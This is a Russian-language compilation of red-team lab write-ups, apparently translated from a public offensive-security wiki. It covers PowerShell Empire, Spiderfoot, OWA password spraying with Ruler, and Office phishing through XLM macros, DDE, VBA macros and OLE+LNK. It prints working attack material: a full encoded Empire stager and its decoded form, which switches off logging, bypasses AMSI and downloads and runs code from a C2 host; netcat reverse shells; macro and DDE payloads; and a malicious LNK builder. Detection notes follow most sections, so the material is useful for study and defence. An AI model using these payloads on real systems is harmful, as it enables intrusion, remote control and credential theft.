1667252184296.png


История меняется, если злоумышленник начинает проксировать свой веб-трафик через прокси-сервер жертвы 10.0.0.5:33912:

1667252193516.png


Профилировщик системы

Хорошая функция, которая профилирует потенциальных жертв, собирая информацию о том, какое программное обеспечение/плагины установлено в системе жертвы:

1667252202871.png


После посещения URL-адреса профилировщика результаты отображаются в представлении приложения:

1667252211266.png


Журналы событий покажут, сколько раз жертвы использовали профайлер:

1667252219096.png
 
Powershell Empire 101

Изучение ключевых концепций Powershell Empire

Прослушиватель

// Empire commands used
?
uselistener meterpreter
info


1667252982931.png


Запуск прослушивателя:

execute

1667253004608.png


Стэйджер

Стэйджер
загрузит и выполнит финальную полезную нагрузку, которая соединится с настроенным нами ранее прослушивателем — meterpreter — ниже показано, как его настроить:

//specify what stager to use
usestager windows/hta

//associate stager with the meterpreter listener
set Listener meterpreter

//write stager to the file
set OutFile stage.hta

//create the stager
execute

1667253024986.png


Быстрый взгляд на код стейджера:

1667253034023.png


Вопросы

Различные стейджеры, которые я создал для прослушивателя meterpreter, выдавали мне такие ошибки, как эта:

1667253050488.png


и эта:

1667253058125.png


После просмотра трафика и быстрого сканирования nmap показалось, что может быть ошибка в модуле uselistener Empire при использовании с meterpreter - по какой-то причине он фактически не начинает прослушивать/открывать порт:

1667253067450.png


1667253076439.png


Чтобы проверить это предположение, я создал еще один http-прослушиватель на 80-м порту, который заработал сразу, оставив прослушиватель metpeter глючным, по крайней мере, в моей среде:

1667253088265.png


Агент

Агент — это, по сути, скомпрометированная система-жертва, которая соединяется со слушателем и теперь готова принимать команды.

Продолжая тестирование с использованием http-прослушивателя и многофункционального лаунчера, агент, наконец, возвращается после запуска launcher.ps1 (читай: стейджера) в системе-жертве:

1667253098574.png


Попробуем вернуть еще одного агента с другой машины с помощью бокового перемещения WMI (https://www.ired.team/offensive-security/lateral-movement/t1047-wmi-for-lateral-movement):

interact <agent-name>
usemodule powershell/lateral_movement/invoke_wmi
set Agent <agent-name>
set UserName offense\administrator
set Password 123456
set ComputerName dc-mantvydas
run

1667253119439.png


Маячок


Ниже приведены наиболее часто используемые URL-адреса агента, отправляющего сигнал прослушивателю с установленным профилем прослушивателя HTTP по умолчанию:

1667253132950.png


Пакетные данные в любом из этих маяков:

1667253145959.png


Наблюдения

Обратите внимание, как выполнение stager launcher.ps1 породило еще один экземпляр powershell, а родительское и дочернее окна скрыты. Обратите внимание, что дочерняя оболочка powershell была вызвана с помощью закодированной командной строки powershell:

1667253158127.png


Командная строка стейджера в base64:

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBlAFIAcwBpAE8AbgBUAGEAYgBMAGUALgBQAFMAVgBFAHIAUwBpAE8ATgAuAE0AQQBKAE8AUgAgAC0AZwBlACAAMwApAHsAJABHAFAARgA9AFsAUgBlAEYAXQAuAEEAcwBzAEUAbQBCAGwAeQAuAEcAZQBUAFQAeQBQAEUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAEUAVABGAGkARQBgAGwAZAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBmACgAJABHAFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAGUAdABWAGEATAB1AGUAKAAkAE4AdQBsAEwAKQA7AEkARgAoACQARwBQAEMAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8AZwBnAGkAbgBnACcAXQApAHsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCACcAKwAnAGwAbwBjAGsATABvAGcAZwBpAG4AZwAnAF0APQAwADsAJABHAFAAQwBbACcAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAFsAJwBFAG4AYQBiAGwAZQBTAGMAcgBpAHAAdABCAGwAbwBjAGsASQBuAHYAbwBjAGEAdABpAG8AbgBMAG8AZwBnAGkAbgBnACcAXQA9ADAAfQAkAHYAQQBMAD0AWwBDAG8AbABMAEUAYwB0AEkATwBuAHMALgBHAGUATgBlAFIAaQBDAC4ARABJAGMAdABpAG8ATgBhAFIAeQBbAHMAVABSAEkAbgBHACwAUwB5AHMAdABFAG0ALgBPAGIAagBFAGMAdABdAF0AOgA6AG4ARQB3ACgAKQA7ACQAdgBhAGwALgBBAEQAZAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwAsADAAKQA7ACQAVgBhAEwALgBBAEQAZAAoACcARQBuAGEAYgBsAGUAUwBjAHIAaQBwAHQAQgBsAG8AYwBrAEkAbgB2AG8AYwBhAHQAaQBvAG4ATABvAGcAZwBpAG4AZwAnACwAMAApADsAJABHAFAAQwBbACcASABLAEUAWQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAXABTAG8AZgB0AHcAYQByAGUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABQAG8AdwBlAHIAUwBoAGUAbABsAFwAUwBjAHIAaQBwAHQAQgAnACsAJwBsAG8AYwBrAEwAbwBnAGcAaQBuAGcAJwBdAD0AJABWAGEAbAB9AEUATABTAEUAewBbAFMAYwByAEkAcAB0AEIATABPAEMAawBdAC4AIgBHAGUAVABGAGkARQBgAGwARAAiACgAJwBzAGkAZwBuAGEAdAB1AHIAZQBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApAC4AUwBlAFQAVgBhAEwAVQBlACgAJABuAFUATABMACwAKABOAGUAdwAtAE8AQgBqAEUAQwB0ACAAQwBvAEwAbABFAEMAVABJAG8AbgBTAC4ARwBFAE4AZQByAEkAQwAuAEgAYQBzAEgAUwBlAFQAWwBzAHQAcgBJAE4AZwBdACkAKQB9AFsAUgBFAEYAXQAuAEEAUwBTAEUATQBiAGwAWQAuAEcARQBUAFQAWQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAfAA/AHsAJABfAH0AfAAlAHsAJABfAC4ARwBFAFQARgBpAGUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAEUAVABWAEEATABVAGUAKAAkAG4AVQBMAGwALAAkAHQAcgBVAGUAKQB9ADsAfQA7AFsAUwB5AFMAdABFAG0ALgBOAGUAdAAuAFMARQBSAFYAaQBjAGUAUABPAGkATgB0AE0AQQBOAEEARwBFAHIAXQA6ADoARQBYAHAAZQBDAHQAMQAwADAAQwBvAE4AdABJAE4AVQBlAD0AMAA7ACQAdwBjAD0ATgBFAFcALQBPAEIASgBlAEMAVAAgAFMAeQBTAFQAZQBNAC4ATgBlAHQALgBXAGUAYgBDAEwASQBFAE4AVAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHcAYwAuAEgAZQBBAGQAZQByAFMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJAB1ACkAOwAkAHcAYwAuAFAAUgBPAFgAeQA9AFsAUwBZAFMAdABFAG0ALgBOAEUAdAAuAFcARQBiAFIARQBRAFUAZQBTAFQAXQA6ADoARABFAGYAQQB1AEwAVABXAEUAYgBQAFIAbwB4AHkAOwAkAFcAQwAuAFAAUgBvAFgAWQAuAEMAcgBFAEQAZQBuAFQAaQBhAEwAUwAgAD0AIABbAFMAWQBzAHQAZQBNAC4ATgBFAFQALgBDAHIARQBkAEUATgBUAEkAQQBsAEMAYQBDAEgARQBdADoAOgBEAEUAZgBhAHUAbAB0AE4AZQBUAHcATwBSAGsAQwBSAGUAZABFAG4AVABpAGEATABzADsAJABTAGMAcgBpAHAAdAA6AFAAcgBvAHgAeQAgAD0AIAAkAHcAYwAuAFAAcgBvAHgAeQA7ACQASwA9AFsAUwB5AHMAdABFAE0ALgBUAEUAeABUAC4ARQBuAEMATwBEAEkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQBUAEIAeQB0AGUAcwAoACcAUgAuACUAPwBWAHQAQwA4AHgAcQBnAG4AcwBGAGMANQBaACsAOgA5AHcAZABFAH0AQQBCAE0AcAB7AG0AegBPACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIARwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBPAFUATgB0AF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAeABvAHIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAcwBlAHIAPQAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgA3ADEAOgA4ADAAJwA7ACQAdAA9ACcALwBsAG8AZwBpAG4ALwBwAHIAbwBjAGUAcwBzAC4AcABoAHAAJwA7ACQAVwBjAC4ASABFAEEAZABlAHIAUwAuAEEAZABEACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AOQB1AGwAYQB0AEwASwBMAHgANQBEAFcAWgA1AEkAYQB3AFIAdQBzAEYAUwAyAFoAMgByAEEAPQAiACkAOwAkAGQAQQB0AGEAPQAkAFcAQwAuAEQAbwBXAE4AbABvAEEAZABEAGEAdABBACgAJABTAEUAUgArACQAdAApADsAJABJAHYAPQAkAEQAQQBUAGEAWwAwAC4ALgAzAF0AOwAkAEQAYQBUAEEAPQAkAEQAYQB0AEEAWwA0AC4ALgAkAEQAYQB0AEEALgBMAGUATgBnAFQASABdADsALQBqAE8AaQBOAFsAQwBoAGEAUgBbAF0AXQAoACYAIAAkAFIAIAAkAGQAYQB0AEEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==

Расшифрованная командная строка с заметным пользовательским агентом, сервером C2 и файлом cookie сеанса:

If($PSVeRsiOnTabLe.PSVErSiON.MAJOR - ge 3) {
$GPF = [ReF].AssEmBly.GeTTyPE('System.Management.Automation.Utils').
"GETFiE`ld" ('cachedGroupPolicySettings', 'N' + 'onPublic,Static');
If($GPF) {
$GPC = $GPF.GetVaLue($NulL);
IF($GPC['ScriptB' + 'lockLogging']) {
$GPC['ScriptB' + 'lockLogging']['EnableScriptB' + 'lockLogging'] = 0;
$GPC['ScriptB' + 'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
}
$vAL = [ColLEctIOns.GeNeRiC.DIctioNaRy[sTRInG, SystEm.ObjEct]]::nEw();
$val.ADd('EnableScriptB' + 'lockLogging', 0);
$VaL.ADd('EnableScriptBlockInvocationLogging', 0);
$GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB' + 'lockLogging'] = $Val
}
ELSE {
[ScrIptBLOCk].
"GeTFiE`lD" ('signatures', 'N' + 'onPublic,Static').SeTVaLUe($nULL, (New - OBjECt CoLlECTIonS.GENerIC.HasHSeT[strINg]))
}[REF].ASSEMblY.GETTYpe('System.Management.Automation.AmsiUtils') | ? {
$_
} | % {
$_.GETField('amsiInitFailed', 'NonPublic,Static').SETVALUe($nULl, $trUe)
};
};
[SyStEm.Net.SERVicePOiNtMANAGEr]::EXpeCt100CoNtINUe = 0;
$wc = NEW - OBJeCT SySTeM.Net.WebCLIENT;
$u = 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';
$wc.HeAderS.Add('User-Agent', $u);
$wc.PROXy = [SYStEm.NEt.WEbREQUeST]::DEfAuLTWEbPRoxy;
$WC.PRoXY.CrEDenTiaLS = [SYsteM.NET.CrEdENTIAlCaCHE]::DEfaultNeTwORkCRedEnTiaLs;
$Script: Proxy = $wc.Proxy;
$K = [SystEM.TExT.EnCODINg]::ASCII.GeTBytes('R.%?VtC8xqgnsFc5Z+:9wdE}ABMp{mzO');
$R = {
$D,
$K = $ARGS;$S = 0. .255;0. .255 | % {
$J = ($J + $S[$_] + $K[$_ % $K.COUNt]) % 256;$S[$_],
$S[$J] = $S[$J],
$S[$_]
};$D | % {
$I = ($I + 1) % 256;$H = ($H + $S[$I]) % 256;$S[$I],
$S[$H] = $S[$H],
$S[$I];$_ - bxor$S[($S[$I] + $S[$H]) % 256]
}
};
$ser = 'http://192.168.2.71:80';
$t = '/login/process.php';
$Wc.HEAderS.AdD("Cookie", "session=9ulatLKLx5DWZ5IawRusFS2Z2rA=");
$dAta = $WC.DoWNloAdDatA($SER + $t);
$Iv = $DATa[0. .3];
$DaTA = $DatA[4..$DatA.LeNgTH]; - jOiN[ChaR[]]( & $R $datA($IV + $K)) | IEX

Журналы


Если мы изолируем злой powershell, который был заражен Империей в нашем SIEM, мы можем увидеть маячки:

1667253199015.png


Скомпрометированная система может генерировать событие 800, отображающее следующее в журналах Windows PowerShell (powershell 5.0+):

1667253210545.png


Также загружается события 4103 в Microsoft-Windows-PowerShell/Operational:

1667253223777.png


Точно так же, если включено ведение журнала стенограммы PS, там может быть зафиксировано выполнение стейджера:

1667253237970.png


Дампы памяти

Дамп памяти также может выявить ту же активность стейджера:

volatility -f /mnt/memdumps/w7-empire.bin consoles --profile Win7SP1x64

1667253259027.png
 
Spiderfoot 101 с Kali с использованием Docker

В этом лабораторном занятии рассматриваются некоторые простые шаги, необходимые для запуска инструмента OSINT Spiderfoot в Kali Linux с использованием Docker.

Spiderfoot — это приложение, которое позволяет вам, как пентестеру или члену команды, собирать информацию о заданном объекте — адресе электронной почты, имени пользователя, домене или IP-адресе, которые могут помочь вам в планировании и продвижении ваших атак против них.

Скачать Спайдерфут

Загрузите пакет Linux Spiderfoot с https://www.spiderfoot.net/download/ и извлеките его в любое место в файловой системе по вашему выбору.

Я распаковал его в /root/Downloads/spiderfoot-2.12.0-src/spiderfoot-2.12 и сделал его своим рабочим каталогом:

cd /root/Downloads/spiderfoot-2.12.0-src/spiderfoot-2.12

Обновить изображение в картинке


Возможно, вам придется обновить пип, прежде чем он начнет доставлять вам проблемы:

pip install --upgrade pip

Соберите образ Docker


Создайте образ докера

docker build -t spiderfoot .

1667254762325.png


Проверьте, успешно ли создан образ:

docker images


Вы должны увидеть образ spiderfoot , созданное несколько секунд назад:

1667254779790.png


Запустите докер Spiderfoot

docker run -p 5009:5001 -d spiderfoot


Приведенный выше код запускает ранее созданный образ SpiderFoot в фоновом режиме и открывает TCP-порт 5009 на хост-компьютере. Любой трафик, отправленный на хост:5009, будет перенаправлен на порт 5001 в докере, где работает и прослушивает Spiderfoot.

Чтобы проверить, запущен ли образ докера, мы можем сделать:

docker ps


Приведенное ниже подтверждает, что докер действительно запускает образ и прослушивает порт 5001:

1667254916128.png


Ниже подтверждается, что хост-компьютер теперь открыл TCP-порт 5009 (который перенаправляет трафик на порт 5001 докера):

1667254935002.png


Использование spiderfoot

Перейдите к своему хосту: 5009, чтобы получить доступ к пользовательскому интерфейсу spiderfoot и начать новое сканирование:

1667254948808.png


Во время сканирования мы можем начать наблюдать за различными фрагментами данных, возвращаемыми из Интернета:

1667254960311.png


Детализация до одной из вышеуказанных категорий — записи DNS:

1667254971132.png
 
Распыление пароля Outlook Web Access: удаленный шелл

Контекст


В этой лабе рассматривается метод атаки, называемый распылением пароля, а также злоупотребление Outlook Web Application путем использования почтовых правил для получения удаленной оболочки с помощью инструмента под названием Ruler.

Определения

Распыление пароля
— это форма атаки с подбором пароля. При распылении паролей злоумышленник (с помощью инструмента) циклически просматривает список возможных имен пользователей (найденных с помощью методов OSINT против целевой компании или других средств) с парой наиболее часто используемых слабых паролей.

Для сравнения, традиционный брутфорс работает, выбирая имя пользователя из списка и пробуя все пароли в списке слов против этого имени пользователя. Когда все пароли для этого имени пользователя исчерпаны, из списка выбирается другое имя пользователя, и процесс повторяется.

Распыление пароля можно проиллюстрировать следующей таблицей:

1668016284087.png


Стандартный подбор пароля можно проиллюстрировать следующей таблицей:

1668016295109.png


Распыление пароля

Давайте попробуем применить распыление паролей к серверу Exchange 2016 в домене offense .local:

ruler -k --domain offense.local brute --users users --passwords passwords --verbose

1668016316206.png


1668016326012.png


Вышеприведенное показывает, что распыление пароля было успешным против пользователя spotless, который использовал слабый пароль 123456.

Обратите внимание, что если вы пытаетесь воспроизвести этот метод в своих собственных лабораториях, вам может потребоваться обновить файл /etc/hosts, чтобы он указывал на ваш сервер Exchange:

1668016338929.png


Получение оболочки через правило вредоносной электронной почты

Обзор процесса


Если распыление пароля на сервер Exchange прошло успешно и вы получили действительные учетные данные, теперь вы можете использовать Ruler для создания вредоносного правила электронной почты, которое позволит вам удаленно выполнить код на хосте, который проверяет этот скомпрометированный почтовый ящик.

Общий обзор того, как работает распыление и удаленное выполнение кода:

- предположим, что вы получили рабочие учетные данные во время распыления для пользователя spotless@offense.local

- с помощью Ruler создается вредоносное почтовое правило для скомпрометированной учетной записи, в нашем случае это spotless@offense.local. Созданное правило будет соответствовать формату в соответствии со строками:

if emailSubject contains someTriggerWordstartpathToSomeProgram

- Новое электронное письмо с темой, содержащей некое триггерное слово, отправляется на адрес spotless@offense.local.

- Пользователь безупречно входит в свою рабочую станцию и запускает клиент Outlook для проверки новой электронной почты.

- Приходит вредоносная электронная почта, и срабатывает вредоносное почтовое правило, которое, в свою очередь, запускает программу, указанную в pathToSomeProgram, которая указывает на вредоносную полезную нагрузку, предоставляя злоумышленнику обратную оболочку.

Исполнение

Давайте проверим, работают ли скомпрометированные учетные данные, проверив, созданы ли уже какие-либо правила электронной почты:

ruler -k --verbose --email spotless@offense.local -u spotless -p 123456 display

Ниже показано, что учетные данные работают и для этой учетной записи еще не установлены почтовые правила:

1668016388341.png

Чтобы продолжить атаку, я сгенерировал полезную реверс нагрузку метерпретера и сохранил ее как исполняемый файл Windows в /root/tools/evilm64.exe.

Теперь нам нужно создать общий ресурс SMB, доступный для нашего хоста-жертвы, и указать ему место, где находится наша полезная нагрузка evilm64.exe:

smbserver.py tools /root/tools/


Затем мы настраиваем прослушиватель метасплоита для перехвата входящего обратного шелла:

use exploit/multi/handler
set lhost 10.0.0.5
set lport 443
exploit


Наконец, мы запускаем линейку и создаем правило вредоносной электронной почты:

ruler -k --verbose --email spotless@offense.local --username spotless -p 123456 add --location '\\10.0.0.5\tools\\evilm64.exe' --trigger "popashell" --name maliciousrule --send --subject popashell

Ниже показана вся атака и все шаги, упомянутые выше, в действии — обратите внимание, что скомпрометированный почтовый ящик даже не видит входящее вредоносное письмо:

1668016437849.png


Ниже показано фактическое вредоносное правило, созданное в ходе атаки — обратите внимание на тему и свойства запуска — мы указали их в команде правителя:

1668016452240.png


Если вы хотите удалить вредоносное правило электронной почты, сделайте следующее:

ruler -k --verbose --email spotless@offense.local --username spotless -p 123456 delete --name maliciousrule
 
Фишинг: XLM/Макро 4.0

Эта лаборатория основана на исследованиях, проведенных Стеном Хегтом https://outflank.nl/blog/2018/10/06/old-school-evil-excel-4-0-macros-xlm/

Вооружение

Электронную таблицу Microsoft Excel можно превратить в оружие, сначала вставив новый лист типа "Макрос MS Execel 4.0":

1668016689839.png


Затем мы можем выполнить команду, введя в ячейки:

=exec("c:\shell.cmd")
=halt()


Как обычно, содержимое shell.cmd представляет собой простую обратную оболочку netcat:

C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe

Обратите внимание, что нам нужно переименовать ячейку A1 в Auto_Open, если мы хотим, чтобы макросы срабатывали после открытия документа:

1668016720298.png


Исполнение

Открытие документа и включение макросов вызывает обратную оболочку:

1668016734013.png


Обратите внимание, что макросы XLM позволяют использовать API-интерфейсы Win32, поэтому также возможна инъекция шелл-кода. Смотрите оригинальную ссылку исследования ниже для получения дополнительной информации.

Наблюдения

Как обычно, ищите любые подозрительные дочерние элементы, происходящие из-под Excel.exe:

1668016748777.png


Бегло взглянув на файл шестнадцатеричным редактором, мы сразу же видим подозрительную строку shell.cmd, что, конечно, не может не радовать защитников:

1668016761382.png


1668016770309.png
 
T1173: Фишинг — DDE

Код динамического обмена данными — выполнение кода в документах Microsoft Office.

Вооружение

Откройте новый документ MS Word и вставьте поле:

1668016918606.png


Это добавит!Unexpected End of Formula для ожидаемого документа. Щелкните правой кнопкой мыши > Переключить коды полей:

1668016929035.png


Коды полей Toggle дадут это:

1668016954199.png


Замените = \* MERGEFORMAT на полезную нагрузку и сохраните документ:

DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"

чтобы получить это:

1668016972457.png


Исполнение

Как только жертва запускает вредоносный .docx и принимает 2 приглашения, выскакивает обратная оболочка (или, в данном случае, calc.exe):

1668016985317.png


1668016994562.png


Наблюдения

1668017004285.png


Журналы Sysmon могут помочь обнаружить подозрительные процессы и/или сетевые подключения, инициированные приложениями Office:

1668017014278.png


Осмотр

Как мы можем проверить файлы .docx (то же самое для .xlsx)? Поскольку по сути это архивы .zip, мы можем переименовать файл .docx в .zip и просто разархивировать архив для дальнейшего изучения.

Нас интересует файл document.xml (обрезанный для краткости ниже). Обратите внимание, как строка 4 позволяет нам проверять полезную нагрузку DDE в виде простого текста:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:cx1="http://schemas.microsoft.com/office/drawing/2015/9/8/chartex" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:w16se="http://schemas.microsoft.com/office/word/2015/wordml/symex" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 w15 w16se wp14">
<...snip...>
<w:instrText>DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"</w:instrText>
<...snip...>
</w:document>
 
T1137: фишинг — макросы Office

Выполнение кода с помощью макросов VBA

Этот метод создаст примитивный текстовый документ, который будет автоматически выполнять код макросов VBA после отключения защиты макросов.

Вооружение

1. Создайте новый документ Word (CTRL+N)

2. Нажмите ALT+F11, чтобы перейти в редактор макросов.

3. Дважды щелкните "Этот документ" и нажмите CTRL+C/V ниже:

Private Sub Document_Open()
MsgBox "game over", vbOKOnly, "game over"
a = Shell("C:\tools\shell.cmd", vbHide)
End Sub

C:\tools\nc.exe 10.0.0.5 443 -e C:\Windows\System32\cmd.exe


Примерно так это должно выглядеть так:

1668017588076.png


Нужно нажать ALT+F11, чтобы вернуться в режим редактирования документа и добавить элемент социальной инженерии, например:

1668017598599.png


Сохраните файл как документ с поддержкой макросов, например Doc3.dotm:

1668017607376.png


Исполнение

Жертва запускает Doc3.dotm:

1668017616922.png


... и включает содержимого, в результате чего злоумышленник получает обратную оболочку:

1668017628595.png


Наблюдения

На приведенном ниже рисунке показано происхождение процесса после того, как жертва нажала кнопку "Включить содержимое" в нашем вредоносном документе Doc3.dotm:

1668017640862.png


Осмотр

Если вы получили подозрительный документ Office и у вас нет инструментов для анализа вредоносных программ, мы надеемся, что у вас есть хотя бы доступ к утилите WinZip или 7Zip и Strings или к любому типу шестнадцатеричного редактора.

Поскольку файлы Office по сути представляют собой ZIP-архивы (магические байты PK):

root@remnux:/home/remnux# hexdump -C Doc3.dotm | head -n1
00000000 50 4b 03 04 14 00 06 00 08 00 00 00 21 00 cc 3c |PK..........!..<|


..файл Dot3.dotm можно переименовать в Doc3.zip и просто разархивировать как обычный ZIP-архив. При этом архив сдувается и раскрываются файлы, из которых состоит вредоносный офисный документ. Одним из файлов является document.xml, в котором находится основной текст основного документа, и vbaProject.bin, содержащий сами злые макросы:

1668017658483.png


Заглянув внутрь document.xml, мы можем увидеть основную копию, которую мы ввели в самом начале этой страницы в разделе "Вооружение" (https://www.ired.team/offensive-sec...-office/t1137-office-vba-macros#weaponization) :

1668017666509.png


Кроме того, если у вас есть утилита для создания строк или шестнадцатеричного дампа, вы можете передать через нее vbaProject.bin. Это может иногда дать вам как защитнику достаточно, чтобы определить, является ли документ подозрительным/вредоносным.

Запуск hexdump -C vbaProject.bin показывает некоторые фрагментированные ключевые слова, которые должны сразу вызвать подозрение — Shell, Hide, Sub_Open и что-то похожее на путь к файлу:

1668017675055.png


Если у вас есть дистрибутив Linux для анализа вредоносных программ Remnux, вы можете легко проверить код макросов VBA, содержащийся в документе, введя команду olevba.py filename.dotm. Как видно ниже, команда прекрасно декодирует vbaProject.bin и показывает фактический код, а также дает некоторую интерпретацию команд, найденных в скрипте:

1668017687730.png


Обратите внимание, что olevba можно обмануть, как показано здесь http://www.irongeek.com/i.php?page=videos/derbycon8/track-3-18-the-ms-office-magic-show-stan-hegt-pieter-ceelen
 
Фишинг: OLE + LNK

Фишинг, первоначальный доступ с использованием встроенных объектов OLE + LNK

В этом лабораторном занятии исследуется популярная техника фишинга, при которой злоумышленники встраивают файлы .lnk в документы Office и маскируют их значками офиса Ms Word, чтобы обмануть жертв и заставить их щелкнуть и запустить их.

Вооружение

Создание файла .LNK, который запускает полезную нагрузку после выполнения:

$command = 'Start-Process c:\shell.cmd'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::toBase64String($bytes)

$obj = New-object -comobject wscript.shell
$link = $obj.createshortcut("c:\experiments\ole+lnk\Invoice-FinTech-0900541.lnk")
$link.windowstyle = "7"
$link.targetpath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$link.iconlocation = "C:\Program Files\Windows NT\Accessories\wordpad.exe"
$link.arguments = "-Nop -sta -noni -w hidden -encodedCommand UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAGMAOgBcAHMAaABlAGwAbAAuAGMAbQBkAA=="
$link.save()


Полезная нагрузка Powershell вызовет элементарную обратную оболочку NC:

C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe

После выполнения приведенного выше сценария powershell создается ярлык .LNK:

1668018472410.png


Давайте создадим документ Word, который будет содержать вредоносный ярлык, созданный на предыдущем шаге:

1668018484419.png


Давайте вставим в документ новый объект, выбрав Package и изменив источник значка на исполняемый файл Microsoft Word:

1668018499921.png


1668018508395.png


Укажите пакету файл .lnk, содержащий полезную нагрузку:

1668018519711.png


Конечный результат:

1668018530101.png


Исполнение

Жертва, выполняющая встроенный документ. Получает всплывающее окно для подтверждения выполнения:

1668018542903.png


Как только жертва подтвердит, что хочет открыть файл, атакующему возвращается обратная оболочка:

1668018555657.png


Наблюдения

После запуска полезной нагрузки родословная процесса выглядит так, как ожидалось — powershell порождается winword, cmd порождается powershell..:

1668018566156.png


Вскоре после этого powershell убивается, и cmd.exe становится осиротевшим процессом:

1668018574678.png


Как и в https://www.ired.team/offensive-sec...ishing-with-ms-office/t1137-office-vba-macros, вы можете использовать элементарные инструменты на рабочей станции Windows для быстрой сортировки подозрительных документов Office. Прежде всего, переименуйте файл в расширение .zip и разархивируйте его. Затем вы можете перейти к word\embeddings и найти файл oleObject.bin, содержащий вредоносный .lnk:

1668018583805.png


Затем вы можете сделать простые строки или шестнадцатеричный дамп файла, и вы должны сразу увидеть признаки чего-то, что должно вызвать у вас удивление:

hexdump.exe -C .\oleObject1.bin

1668018605619.png


Аналитику следует искать CLSID 00021401-0000-0000-c000-000000000046 в файле .bin, что означает, что .doc содержит встроенный файл .lnk. В нашем случае это можно наблюдать здесь:

1668018624431.png
 
Фишинг: встроенный Internet Explorer


Выполнение кода со встроенным объектом Internet Explorer


